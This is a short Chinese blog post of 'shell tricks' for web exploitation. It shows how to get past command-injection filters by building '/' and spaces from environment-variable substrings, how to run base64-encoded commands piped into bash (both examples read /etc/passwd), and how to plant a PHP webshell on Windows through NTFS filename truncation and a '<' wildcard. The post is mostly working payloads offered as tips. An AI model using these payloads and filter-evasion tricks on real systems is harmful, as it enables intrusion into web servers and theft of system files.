shell小技巧
作者:互联网
1.过滤了 空格 . / ; ` ' > 等字符,怎么执行任意命令
首先执行一下env命令
,看看环境变量里有哪些可以用到的变量。比如:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
那么字符“/”就可以用${PATH:0:1}代替。
又比如有个变量是PHP_VERSION=5.6.30
,所以就可以用${PHP_VERSION:1:1}
代替。
空格的替代比较多,比如%09 %0a ,还有${IFS}
/
等符号替代 cat $(expr substr $PATH 1 1)etc$(expr substr $PATH 1 1)passwd
2.base64+管道符来执行命令
将任意命令base64编码以后,直接执行echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash
即可。
3.有下列代码
<?php
$filename = __DIR__ . '/tmp/' . $user['name'];
$data = $user['info'];
file_put_contents($filename, $data);
// ...一些处理
if (file_exists($filename)) {
unlink($filename);
}
?>
windows下有以下方法:
info=webshell&name=1.php:test
info=webshell&name=1.ph<
依次发送上述两个请求,第一次请求:会截断文件名,导致创建一个新的空白文件1.php;第二次使用了一个通配符“<”,把内容写入了第一步创建的文件。
(其他方法:条件竞争;php_apache2_操作系统之间的一些黑魔法 | wonderkun's | blog)
标签:bin,sbin,shell,技巧,base64,usr,PATH,php 来源: https://www.cnblogs.com/Stas/p/16454830.html